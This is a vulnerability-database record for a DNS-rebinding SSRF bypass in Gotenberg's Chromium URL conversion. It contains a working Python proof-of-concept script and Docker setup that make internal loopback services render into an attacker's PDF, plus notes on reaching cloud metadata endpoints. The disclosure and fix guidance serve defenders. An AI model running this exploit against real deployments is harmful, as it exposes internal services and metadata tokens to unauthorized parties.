{"id":"CVE-2026-42592","aliases":["GHSA-2pmr-289p-44r3","GO-2026-4990"],"title":"Gotenberg's DNS rebinding bypasses SSRF validation on Chromium URL conversion routes","summary":"Gotenberg's DNS rebinding bypasses SSRF validation on Chromium URL conversion routes","severity":"medium","cvss":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","vendor":"gotenberg","product":"github.com/gotenberg/gotenberg/v8","ecosystem":"go","affected":["github.com/gotenberg/gotenberg/v8 <= 8.31.0"],"published":"2026-05-07","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:04.128881235Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-2pmr-289p-44r3","references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42592"},{"url":"https://github.com/gotenberg/gotenberg"}],"tags":["osv","go"],"epss":0.00192,"epssPercentile":0.09168,"ingestedAt":"2026-08-07T19:14:19.325Z","slug":"CVE-2026-42592","body":"## Overview\n\n## Summary\n\n`FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.\n\n## Details\n\n`pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision:\n\n```go\nfunc FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {\n    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)\n    return err\n}\n```\n\nThe Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.\n\nThe CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check:\n\n```go\nerr := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\n```\n\nThis also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.\n\nThe webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments.\n\n## Proof of Concept\n\nReproduction uses a public DNS service that randomizes the response per query. `rebind.<subdomain>.requestrepo.com` resolves to `<public-ip>` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `<public-ip>%127.0.0.1`.\n\nSetup:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n\n# Simulate an internal-only HTTP service that the default deny-list blocks.\ndocker exec gotenberg-poc sh -c \\\n    'mkdir -p /tmp/rebind_srv && \\\n     echo \"<h1>INTERNAL-ONLY-REBIND-HIT</h1>\" > /tmp/rebind_srv/index.html'\ndocker exec -d gotenberg-poc sh -c \\\n    'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'\n```\n\nAlice runs the attack without auth:\n\n```python\nimport requests, subprocess\nT = \"http://localhost:3000\"\nREBIND = \"http://rebind.<subdomain>.requestrepo.com/\"\nMARKER = \"INTERNAL-ONLY-REBIND-HIT\"\n\nhits = 0\nfor i in range(20):\n    r = requests.post(\n        f\"{T}/forms/chromium/convert/url\",\n        files={\"url\": (None, REBIND)},\n        timeout=30,\n    )\n    if r.status_code != 200:\n        continue\n    open(\"/tmp/_r.pdf\", \"wb\").write(r.content)\n    txt = subprocess.run(\n        [\"pdftotext\", \"/tmp/_r.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n    if MARKER in txt:\n        hits += 1\n\nprint(f\"{hits}/20 rebind hits\")\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\n2/20 rebind hits\n```\n\nThe marker renders in the attacker's PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.\n\n## Impact\n\nAn unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.\n\n## Recommended Fix\n\nPin the resolved IP from Gotenberg's `decideOutbound` check all the way to Chromium's connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work:\n\n```go\ndecision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\nif err != nil {\n    allow = false\n} else if len(decision.Pinned) > 0 {\n    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())\n    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)\n}\n```\n\nAlternative: pass `--host-resolver-rules=\"MAP <hostname> <pinned-ip>\"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*\n\n## Affected packages\n\n- `github.com/gotenberg/gotenberg/v8 <= 8.31.0`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[{"seq":201652,"id":"CVE-2026-42592","ts":1789399580721,"field":"cvss","old":null,"new":"5.3"},{"seq":201651,"id":"CVE-2026-42592","ts":1789399580721,"field":"severity","old":"none","new":"medium"},{"seq":200384,"id":"CVE-2026-42592","ts":1789397184017,"field":"cvss","old":"5.3","new":null},{"seq":200383,"id":"CVE-2026-42592","ts":1789397184017,"field":"severity","old":"medium","new":"none"},{"seq":198308,"id":"CVE-2026-42592","ts":1789391813749,"field":"cvss","old":null,"new":"5.3"},{"seq":198307,"id":"CVE-2026-42592","ts":1789391813749,"field":"severity","old":"none","new":"medium"},{"seq":196101,"id":"CVE-2026-42592","ts":1789383458563,"field":"cvss","old":"5.3","new":null},{"seq":196100,"id":"CVE-2026-42592","ts":1789383458563,"field":"severity","old":"medium","new":"none"},{"seq":195030,"id":"CVE-2026-42592","ts":1789380354622,"field":"cvss","old":null,"new":"5.3"},{"seq":195029,"id":"CVE-2026-42592","ts":1789380354622,"field":"severity","old":"none","new":"medium"},{"seq":193817,"id":"CVE-2026-42592","ts":1789378319749,"field":"cvss","old":"5.3","new":null},{"seq":193816,"id":"CVE-2026-42592","ts":1789378319749,"field":"severity","old":"medium","new":"none"},{"seq":192604,"id":"CVE-2026-42592","ts":1789376301828,"field":"cvss","old":null,"new":"5.3"},{"seq":192603,"id":"CVE-2026-42592","ts":1789376301828,"field":"severity","old":"none","new":"medium"},{"seq":191391,"id":"CVE-2026-42592","ts":1789373214451,"field":"cvss","old":"5.3","new":null},{"seq":191390,"id":"CVE-2026-42592","ts":1789373214451,"field":"severity","old":"medium","new":"none"},{"seq":190176,"id":"CVE-2026-42592","ts":1789369194014,"field":"cvss","old":null,"new":"5.3"},{"seq":190175,"id":"CVE-2026-42592","ts":1789369194014,"field":"severity","old":"none","new":"medium"},{"seq":188963,"id":"CVE-2026-42592","ts":1789368076710,"field":"cvss","old":"5.3","new":null},{"seq":188962,"id":"CVE-2026-42592","ts":1789368076710,"field":"severity","old":"medium","new":"none"},{"seq":187746,"id":"CVE-2026-42592","ts":1789365050466,"field":"cvss","old":null,"new":"5.3"},{"seq":187745,"id":"CVE-2026-42592","ts":1789365050466,"field":"severity","old":"none","new":"medium"},{"seq":186533,"id":"CVE-2026-42592","ts":1789363069379,"field":"cvss","old":"5.3","new":null},{"seq":186532,"id":"CVE-2026-42592","ts":1789363069379,"field":"severity","old":"medium","new":"none"},{"seq":185319,"id":"CVE-2026-42592","ts":1789361007736,"field":"cvss","old":null,"new":"5.3"},{"seq":185318,"id":"CVE-2026-42592","ts":1789361007736,"field":"severity","old":"none","new":"medium"},{"seq":184106,"id":"CVE-2026-42592","ts":1789357991949,"field":"cvss","old":"5.3","new":null},{"seq":184105,"id":"CVE-2026-42592","ts":1789357991949,"field":"severity","old":"medium","new":"none"},{"seq":182357,"id":"CVE-2026-42592","ts":1789354147763,"field":"cvss","old":null,"new":"5.3"},{"seq":182356,"id":"CVE-2026-42592","ts":1789354147763,"field":"severity","old":"none","new":"medium"},{"seq":181150,"id":"CVE-2026-42592","ts":1789352988265,"field":"cvss","old":"5.3","new":null},{"seq":181149,"id":"CVE-2026-42592","ts":1789352988265,"field":"severity","old":"medium","new":"none"},{"seq":179943,"id":"CVE-2026-42592","ts":1789350057370,"field":"cvss","old":null,"new":"5.3"},{"seq":179942,"id":"CVE-2026-42592","ts":1789350057370,"field":"severity","old":"none","new":"medium"},{"seq":178736,"id":"CVE-2026-42592","ts":1789347905185,"field":"cvss","old":"5.3","new":null},{"seq":178735,"id":"CVE-2026-42592","ts":1789347905185,"field":"severity","old":"medium","new":"none"},{"seq":177529,"id":"CVE-2026-42592","ts":1789346210152,"field":"cvss","old":null,"new":"5.3"},{"seq":177528,"id":"CVE-2026-42592","ts":1789346210152,"field":"severity","old":"none","new":"medium"},{"seq":176322,"id":"CVE-2026-42592","ts":1789342813904,"field":"cvss","old":"5.3","new":null},{"seq":176321,"id":"CVE-2026-42592","ts":1789342813904,"field":"severity","old":"medium","new":"none"},{"seq":175776,"id":"CVE-2026-42592","ts":1789338596979,"field":"cvss","old":null,"new":"5.3"},{"seq":175775,"id":"CVE-2026-42592","ts":1789338596979,"field":"severity","old":"none","new":"medium"},{"seq":175646,"id":"CVE-2026-42592","ts":1789338439202,"field":"cvss","old":"5.3","new":null},{"seq":175645,"id":"CVE-2026-42592","ts":1789338439202,"field":"severity","old":"medium","new":"none"},{"seq":174441,"id":"CVE-2026-42592","ts":1789334638327,"field":"cvss","old":null,"new":"5.3"},{"seq":174440,"id":"CVE-2026-42592","ts":1789334638327,"field":"severity","old":"none","new":"medium"},{"seq":173236,"id":"CVE-2026-42592","ts":1789333301718,"field":"cvss","old":"5.3","new":null},{"seq":173235,"id":"CVE-2026-42592","ts":1789333301718,"field":"severity","old":"medium","new":"none"},{"seq":172050,"id":"CVE-2026-42592","ts":1789330930821,"field":"cvss","old":null,"new":"5.3"},{"seq":172049,"id":"CVE-2026-42592","ts":1789330930821,"field":"severity","old":"none","new":"medium"}]}